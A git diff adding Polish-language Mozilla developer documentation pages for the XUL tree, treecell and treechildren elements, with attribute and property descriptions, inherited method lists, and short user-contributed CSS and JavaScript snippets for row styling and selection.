+ <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/W%C5%82asno%C5%9B%C4%87/selType">selType</a></span></code> &lt;magic name="\"PAGENAME\"/"&gt;&lt;/magic&gt;</dt>
+ <dt>
+  </dt>
+ <dd>
+ Type: <em>string</em></dd>
+ <dd>
+ Typ:
+ <i>
+ string</i>
+ </dd>
+ <dd>
+ Pobiera i ustawia wartość atrybutu <code id="a-seltype"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/seltype">seltype</a></code>.</dd>
+</dl>
+<p> </p>
+<p> </p>
+
+<p></p></div>
+<div id="p-selstyle">
+<dl><dt> <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/W%C5%82asno%C5%9B%C4%87/selstyle">selstyle</a></span></code>
+</dt><dd> Typ: <i>string</i>
+</dd><dd> Jeśli jest ustawiona na wartość <code>primary</code>, to tylko etykieta głównej kolumny będzie podświetlona, w momencie gdy pozycja drzewa jest zaznaczona. Inaczej, cały wiersz będzie podświetlony. Aby zobaczyć różnice, porównaj styl zaznaczenia na liście folderów i liście wiadomości w programie pocztowym Mozilli.
+</dd></dl>
+<p><br>
+</p>
+
+</div>
+<div id="p-tabIndex">
+<dl>
+ <dt>
+ <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/W%C5%82asno%C5%9B%C4%87/tabIndex">tabIndex</a></span></code></dt>
+ <dd>
+ Typ:
+ <i>
+ integer</i>
+ </dd>
+ <dd>
+ Pobiera i ustawia wartość atrybutu <code id="a-tabindex"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/tabindex">tabindex</a></code>.</dd>
+</dl></div>
+<div id="p-treeBoxObject"></div>
+<div id="p-view">
+
+<dl>
+ <dt><code><span><a href="https://developer.mozilla.org/pl/docs/XUL/W%C5%82asno%C5%9B%C4%87/view">view</a></span></code></dt>
+ <dd>Typ: <em><a href="/pl/NsITreeView" title="pl/NsITreeView">nsITreeView</a></em></dd>
+ <dd>Widok dla <code><a href="/pl/docs/Mozilla/Tech/XUL/tree" title="tree">tree</a></code>, który jest obiektem generującym dane do wyświetlenia. Do tej własności możesz przypisać obiekt implementujący interfejs <a href="/pl/NsITreeView" title="pl/NsITreeView">nsITreeView</a>. Drzewa zbudowane z RDF-a, albo takie, które bezpośrednio używają elementów <code><a href="/pl/docs/Mozilla/Tech/XUL/treeitem" title="treeitem">treeitem</a></code>, będą już miały widok. Funkcje dostępne w widoku pozwalają na pobieranie danych z komórek i pozwalają na stwierdzenie, które wiersze są zagnieżdżone w innych. Aby zobaczyć kompletną listę funkcji, obejrzyj interfejs <a href="/pl/NsITreeView" title="pl/NsITreeView">nsITreeView</a>.</dd>
+</dl></div>
+<p></p>
+<h3 id="Metody" name="Metody"> Metody </h3>
+<p></p><table style="border: 1px solid rgb(204, 204, 204); margin: 0px 0px 10px 10px; padding: 0px 10px; background: rgb(238, 238, 238) none repeat scroll 0% 50%;"> <tbody> <tr> <td> <p><strong>Dziedziczy z elementu XUL</strong><br> <small> <span id="m-blur"><code><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Metoda/blur">blur</a></code></span>, <span id="m-click"><code><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Metoda/click">click</a></code></span>, <span id="m-doCommand"><code><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Metoda/doCommand">doCommand</a></code></span>, <span id="m-focus"><code><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Metoda/focus">focus</a></code></span>, <span id="m-getElementsByAttribute"><code><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Metoda/getElementsByAttribute">getElementsByAttribute</a></code></span></small></p> <p><strong>Dziedziczy z elementu DOM</strong><br> <small> <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.addEventListener">addEventListener()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.appendChild">appendChild()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.dispatchEvent">dispatchEvent()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.getAttribute">getAttribute()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.getAttributeNode">getAttributeNode()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.getAttributeNodeNS">getAttributeNodeNS()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.getAttributeNS">getAttributeNS()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.getElementsByTagName">getElementsByTagName()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.getElementsByTagNameNS">getElementsByTagNameNS()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.hasAttribute">hasAttribute()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.hasAttributeNS">hasAttributeNS()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.hasAttributes">hasAttributes()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.hasChildNodes">hasChildNodes()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.insertBefore">insertBefore()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.isSupported">isSupported()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.normalize">normalize()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.removeAttribute">removeAttribute()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.removeAttributeNode">removeAttributeNode()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.removeAttributeNS">removeAttributeNS()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.removeChild">removeChild()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.removeEventListener">removeEventListener()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.replaceChild">replaceChild()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.setAttribute">setAttribute()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.setAttributeNode">setAttributeNode()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.setAttributeNodeNS">setAttributeNodeNS()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.setAttributeNS">setAttributeNS()</a></code></small></p> </td> </tr> </tbody>
+</table>
+
+
+<p></p>
+<h3 id="Podobne" name="Podobne"> Podobne </h3>
+<dl><dt> Interfejsy
+</dt><dd> <a href="pl/NsIAccessibleProvider">nsIAccessibleProvider</a>, <a href="pl/NsIDOMXULTreeElement">nsIDOMXULTreeElement</a>, <a href="pl/NsIDOMXULMultiSelectControlElement">nsIDOMXULMultiSelectControlElement</a>
+</dd></dl>
+<h3 id="Notatki_dodane_przez_u.C5.BCytkownik.C3.B3w" name="Notatki_dodane_przez_u.C5.BCytkownik.C3.B3w"> Notatki dodane przez użytkowników </h3>
+<p>Tworzenie przemiennych kolorów dla każdego wiersza może być zrobione w arkuszu stylów, oto przykład. <small>pma at daffodil dot uk dot com</small>
+</p>
+<pre>treechildren::-moz-tree-row(selected) { background-color: #FFFFAA; }
+treechildren::-moz-tree-row(odd) { background-color: #EEEEEE; }
+treechildren::-moz-tree-row(odd, selected) { background-color: #FFFFAA; }
+treechildren::-moz-tree-cell-text(selected) { color: #000000; }
+treechildren::-moz-tree-cell-text(odd, selected) { color: #000000; }
+</pre>
+<p>Aby uzyskać numery ID wszystkich zaznaczonych wierszy w drzewie: <small>tcooper_mont at yahoo dot com</small>
+</p>
+<pre>var rangeCount = this.tree.view.selection.getRangeCount();
+for(var i=0; i&lt;rangeCount; i++)
+{
+ var start = {};
+ var end = {};
+ tree.view.selection.getRangeAt(i,start,end);
+ for(var c=start.value; c&lt;=end.value; c++)
+ {
+ idList.push(this.tree.view.getItemAtIndex(c).firstChild.id);
+ }
+}
+</pre>
+<p><br>
+</p>
+<div class="noinclude">
+</div>
diff --git a/files/pl/mozilla/tech/xul/treecell/index.html b/files/pl/mozilla/tech/xul/treecell/index.html
new file mode 100644
index 0000000000..49efde9fb3
--- /dev/null
+++ b/files/pl/mozilla/tech/xul/treecell/index.html
@@ -0,0 +1,117 @@
+---
+title: treecell
+slug: Mozilla/Tech/XUL/treecell
+tags:
+ - Dokumentacja_XUL
+ - Elementy_XUL
+translation_of: Archive/Mozilla/XUL/treecell
+---
+<div class="noinclude"><span class="breadcrumbs XULRef_breadcrumbs">
+ « <a href="/pl/docs/Dokumentacja_XUL">Dokumentacja XUL</a> [
+ <a href="#Przyk.C5.82ady">Przykłady</a> |
+ <a href="#Atrybuty">Atrybuty</a> |
+ <a href="#W.C5.82asno.C5.9Bci">Własności</a> |
+ <a href="#Metody">Metody</a> |
+ <a href="#Podobne">Podobne</a> ]
+</span></div> <p>Pojedyncza komórka w <code><a href="/pl/docs/Mozilla/Tech/XUL/tree" title="tree">tree</a></code>. Ten element powinien być umieszczony wewnątrz <code><a href="/pl/docs/Mozilla/Tech/XUL/treerow" title="treerow">treerow</a></code>. Możemy ustawić tekst dla komórki za pomocą atrybutu <code id="a-label"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/label">label</a></code>.
+</p><p>Dodatkowo informacje są dostępne w <a href="pl/Kurs_XUL/Drzewa">kursie XUL</a>.
+</p>
+<dl><dt> Atrybuty
+</dt><dd> <a href="#a-label">label</a>, <a href="#a-treecell.mode">mode</a>, <a href="#a-properties">properties</a>, <a href="#a-ref">ref</a>, <a href="#a-src">src</a>, <a href="#a-value">value</a>
+</dd></dl>
+<h3 id="Przyk.C5.82ady" name="Przyk.C5.82ady"> Przykłady </h3>
+<p>(potrzebne przykłady)
+</p>
+<h3 id="Atrybuty" name="Atrybuty"> Atrybuty </h3>
+<p>
+</p><div id="a-label">
+
+<dl><dt> <code id="a-label"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/label">label</a></code>
+</dt><dd> Typ: <i>string</i>
+</dd><dd> Etykieta, która zostanie wyświetlona na elemencie. Jeśli zostanie on usunięty, to żaden tekst nie zostanie wyświetlony. </dd></dl>
+
+
+</div>
+<div id="a-treecell.mode">
+
+<dl>
+ <dt>
+ <a href="pl/XUL/Atrybut/treecell.mode">mode</a></dt>
+ <dd>
+ Typ:
+ <i>
+ jedna z poniższych wartości</i>
+ </dd>
+ <dd>
+ Dla kolumn, które są paskami postępu, typu określonego paska postępu w użyciu:</dd>
+</dl>
+<ul>
+ <li><code>none</code>: Pasek postępu nie jest wyświetlony. W zamian wyświetlony jest tekst komórki.</li>
+ <li><code>normal</code>: Komórka używa wartość atrybutu do określenia wypełnienia paska.</li>
+ <li><code>undetermined</code>: Pasek postępu jest nieokreślony.</li>
+</ul>
+</div>
+<div id="a-properties">
+
+<dl>
+ <dt>
+ <code id="a-properties"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/properties">properties</a></code></dt>
+ <dd>
+ Typ:
+ <i>
+ lista własności nazwy oddzielona separatorem</i>
+ </dd>
+ <dd>
+ Ustawia własności elementu, który stosujemy do stylu elementu.</dd>
+</dl>
+</div>
+<div id="a-ref">
+
+
+<dl>
+ <dt><code id="a-ref"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/ref">ref</a></code></dt>
+ <dd>Typ:<em>URI źródła RDF</em></dd>
+ <dd>Dla szablonowo generowanych elementów, ten atrybut jest stosowany do określenia korzenia (węzła głównego) RDF, gdzie rozpoczyna się generowanie zawartości. Będzie ona przesyłana do wartości.<strong> This will correspond to the value of an about attribute on an RDF container. This attribute should be placed alongside the datasources attribute.</strong></dd>
+</dl>
+</div>
+<div id="a-treecell.src">
+
+<dl><dt> <a href="pl/XUL/Atrybut/treecell.src">src</a>
+</dt><dd> Typ: <i>adres URL obrazka</i>
+</dd><dd> Ustawia ten adres URL obrazka do wyświetlenia w komórce drzewa. Jeśli ten atrybut jest opuszczony, to żaden obrazek się nie wyświetli. Możemy posiadać oba obrazki i etykiety. </dd></dl>
+
+
+</div>
+<div id="a-value">
+
+<dl>
+ <dt>
+ <code id="a-value"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/value">value</a></code></dt>
+ <dd>
+ Typ:
+ <i>
+ string</i>
+ </dd>
+ <dd>
+ Atrybut łańcucha znaków pozwalający na współpracę wartości danych z elementem. Nie jest stosowany dla określenia jakiegoś konkretnego celu, lecz można go wykorzystać w skrypcie do własnego użytku.</dd>
+</dl>
+
+<p></p>
+</div>
+<p></p>
+<h3 id="W.C5.82asno.C5.9Bci" name="W.C5.82asno.C5.9Bci"> Własności </h3>
+<p></p><table style="border: 1px solid rgb(204, 204, 204); margin: 0px 0px 10px 10px; padding: 0px 10px; background: rgb(238, 238, 238) none repeat scroll 0% 50%;"> <tbody> <tr> <td> <p><strong>Dziedziczy z elementu XUL</strong><br> <small> <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/align">align</a></span></code>, , <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/allowEvents">allowEvents</a></span></code>, , <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/boxObject">boxObject</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/builder">builder</a></span></code>, , , , <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/className">className</a></span></code>, , , , , <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/collapsed">collapsed</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/contextMenu">contextMenu</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/controllers">controllers</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/database">database</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/datasources">datasources</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/dir">dir</a></span></code>, , , <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/flex">flex</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/height">height</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/hidden">hidden</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/id">id</a></span></code>, , , <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/left">left</a></span></code>, , <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/maxHeight">maxHeight</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/maxWidth">maxWidth</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/menu">menu</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/minHeight">minHeight</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/minWidth">minWidth</a></span></code>, , , , , , , <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/observes">observes</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/ordinal">ordinal</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/orient">orient</a></span></code>, , <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/pack">pack</a></span></code>, , <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/persist">persist</a></span></code>, , , , <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/ref">ref</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/resource">resource</a></span></code>, , , , , <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/statusText">statusText</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/style">style</a></span></code>, ,, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/tooltip">tooltip</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/tooltipText">tooltipText</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/top">top</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/width">width</a></span></code></small></p> </td> </tr> </tbody>
+</table>
+<p></p>
+<h3 id="Metody" name="Metody"> Metody </h3>
+<p></p><table style="border: 1px solid rgb(204, 204, 204); margin: 0px 0px 10px 10px; padding: 0px 10px; background: rgb(238, 238, 238) none repeat scroll 0% 50%;"> <tbody> <tr> <td> <p><strong>Dziedziczy z elementu XUL</strong><br> <small> <span id="m-blur"><code><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Metoda/blur">blur</a></code></span>, <span id="m-click"><code><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Metoda/click">click</a></code></span>, <span id="m-doCommand"><code><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Metoda/doCommand">doCommand</a></code></span>, <span id="m-focus"><code><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Metoda/focus">focus</a></code></span>, <span id="m-getElementsByAttribute"><code><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Metoda/getElementsByAttribute">getElementsByAttribute</a></code></span></small></p> <p><strong>Dziedziczy z elementu DOM</strong><br> <small> <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.addEventListener">addEventListener()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.appendChild">appendChild()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.dispatchEvent">dispatchEvent()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.getAttribute">getAttribute()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.getAttributeNode">getAttributeNode()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.getAttributeNodeNS">getAttributeNodeNS()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.getAttributeNS">getAttributeNS()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.getElementsByTagName">getElementsByTagName()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.getElementsByTagNameNS">getElementsByTagNameNS()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.hasAttribute">hasAttribute()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.hasAttributeNS">hasAttributeNS()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.hasAttributes">hasAttributes()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.hasChildNodes">hasChildNodes()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.insertBefore">insertBefore()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.isSupported">isSupported()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.normalize">normalize()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.removeAttribute">removeAttribute()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.removeAttributeNode">removeAttributeNode()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.removeAttributeNS">removeAttributeNS()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.removeChild">removeChild()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.removeEventListener">removeEventListener()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.replaceChild">replaceChild()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.setAttribute">setAttribute()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.setAttributeNode">setAttributeNode()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.setAttributeNodeNS">setAttributeNodeNS()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.setAttributeNS">setAttributeNS()</a></code></small></p> </td> </tr> </tbody>
+</table>
+<p></p>
+<h3 id="Podobne" name="Podobne"> Podobne </h3>
+<dl><dt> Elementy
+</dt><dd> <a href="pl/XUL/tree">tree</a> <a href="pl/XUL/treecols">treecols</a>, <a href="pl/XUL/treecol">treecol</a>, <a href="pl/XUL/treechildren">treechildren</a>, <a href="pl/XUL/treeitem">treeitem</a>, <a href="pl/XUL/treerow">treerow</a> i <a href="pl/XUL/treeseparator">treeseparator</a>.
+</dd></dl>
+<p><br>
+</p>
+<div class="noinclude">
+</div>
diff --git a/files/pl/mozilla/tech/xul/treechildren/index.html b/files/pl/mozilla/tech/xul/treechildren/index.html
new file mode 100644
index 0000000000..9368e658a5
--- /dev/null
+++ b/files/pl/mozilla/tech/xul/treechildren/index.html
@@ -0,0 +1,111 @@
+---
+title: treechildren
+slug: Mozilla/Tech/XUL/treechildren
+tags:
+ - Dokumentacja_XUL
+ - Elementy_XUL
+translation_of: Archive/Mozilla/XUL/treechildren
+---
+<div class="noinclude"><span class="breadcrumbs XULRef_breadcrumbs">
+ « <a href="/pl/docs/Dokumentacja_XUL">Dokumentacja XUL</a> [
+ <a href="#Przyk.C5.82ady">Przykłady</a> |
+ <a href="#Atrybuty">Atrybuty</a> |
+ <a href="#W.C5.82asno.C5.9Bci">Własności</a> |
+ <a href="#Metody">Metody</a> |
+ <a href="#Podobne">Podobne</a> ]
+</span></div> <p>Ten element jest ciałem <code><a href="/pl/docs/Mozilla/Tech/XUL/tree" title="tree">tree</a></code>. Dla zawartości drzewa, treść będzie umieszczona wewnątrz tego elementu. Ten element jest także stosowany do zdefiniowania kontenerów wierszy w drzewie.
+</p><p>Dodatkowe informacje są dostępne w <a href="pl/Kurs_XUL/Drzewa">kursie XUL</a>.
+</p>
+<dl><dt> Atrybuty
+</dt><dd> <a href="#a-alternatingbackground">alternatingbackground</a>
+</dd></dl>
+<h3 id="Przyk.C5.82ady" name="Przyk.C5.82ady"> Przykłady </h3>
+<p>(potrzeba przykładu) </p>
+<h3 id="Atrybuty" name="Atrybuty"> Atrybuty </h3>
+<p></p><div id="a-alternatingbackground">
+
+<dl><dt> <code id="a-alternatingbackground"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/alternatingbackground">alternatingbackground</a></code>
+</dt><dd> Typ: <i>boolean</i>
+</dd><dd> Jeśli <code>true</code>, tło wierszy w drzewach (<code><a href="/pl/docs/Mozilla/Tech/XUL/tree" title="tree">tree</a></code>) będzie się zmieniać pomiędzy dwoma kolorami.
+</dd></dl>
+<p><br>
+</p>
+
+
+</div>
+<table style="border: 1px solid rgb(204, 204, 204); margin: 0 0 10px 10px; padding: 0 10px; background: rgb(238, 238, 238);">
+<tbody>
+<tr>
+<td><p><strong>Dziedziczy z elementu XUL</strong><br> <small>
+<code id="a-align"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/align">align</a></code>,
+<code id="a-allowevents"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/allowevents">allowevents</a></code>,
+<code id="a-allownegativeassertions"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/allownegativeassertions">allownegativeassertions</a></code>,
+<code id="a-class"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/class">class</a></code>,
+<code id="a-coalesceduplicatearcs"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/coalesceduplicatearcs">coalesceduplicatearcs</a></code>,
+<code id="a-collapsed"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/collapsed">collapsed</a></code>,
+<code id="a-container"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/container">container</a></code>,
+<code id="a-containment"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/containment">containment</a></code>,
+<code id="a-context"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/context">context</a></code>,
+<code id="a-contextmenu"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/contextmenu">contextmenu</a></code>,
+<code id="a-datasources"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/datasources">datasources</a></code>,
+<code id="a-dir"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/dir">dir</a></code>,
+<code id="a-empty"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/empty">empty</a></code>,
+<code id="a-equalsize"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/equalsize">equalsize</a></code>,
+<code id="a-flags"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/flags">flags</a></code>,
+<code id="a-flex"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/flex">flex</a></code>,
+<code id="a-height"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/height">height</a></code>,
+<code id="a-hidden"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/hidden">hidden</a></code>,
+<code id="a-id"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/id">id</a></code>,
+<code id="a-insertafter"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/insertafter">insertafter</a></code>,
+<code id="a-insertbefore"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/insertbefore">insertbefore</a></code>,
+<code id="a-left"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/left">left</a></code>,
+<code id="a-maxheight"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/maxheight">maxheight</a></code>,
+<code id="a-maxwidth"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/maxwidth">maxwidth</a></code>,
+<code id="a-menu"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/menu">menu</a></code>,
+<code id="a-minheight"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/minheight">minheight</a></code>,
+<code id="a-minwidth"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/minwidth">minwidth</a></code>,
+<code id="a-mousethrough"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/mousethrough">mousethrough</a></code>,
+<code id="a-observes"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/observes">observes</a></code>,
+<code id="a-ordinal"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/ordinal">ordinal</a></code>,
+<code id="a-orient"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/orient">orient</a></code>,
+<code id="a-pack"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/pack">pack</a></code>,
+<code id="a-persist"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/persist">persist</a></code>,
+<code id="a-popup"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/popup">popup</a></code>,
+<code id="a-position"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/position">position</a></code>,
+<code id="a-preference-editable"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/preference-editable">preference-editable</a></code>,
+<code id="a-querytype"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/querytype">querytype</a></code>,
+<code id="a-ref"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/ref">ref</a></code>,
+<code id="a-removeelement"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/removeelement">removeelement</a></code>,
+<code id="a-sortDirection"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/sortDirection">sortDirection</a></code>,
+<code id="a-sortResource"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/sortResource">sortResource</a></code>,
+<code id="a-sortResource2"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/sortResource2">sortResource2</a></code>,
+<code id="a-statustext"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/statustext">statustext</a></code>,
+<code id="a-style"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/style">style</a></code>,
+<code id="a-template"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/template">template</a></code>,
+<code id="a-tooltip"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/tooltip">tooltip</a></code>,
+<code id="a-tooltiptext"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/tooltiptext">tooltiptext</a></code>,
+<code id="a-top"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/top">top</a></code>,
+<code id="a-uri"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/uri">uri</a></code>,
+<code id="a-wait-cursor"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/wait-cursor">wait-cursor</a></code>,
+<code id="a-width"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/width">width</a></code> </small></p>
+</td>
+</tr>
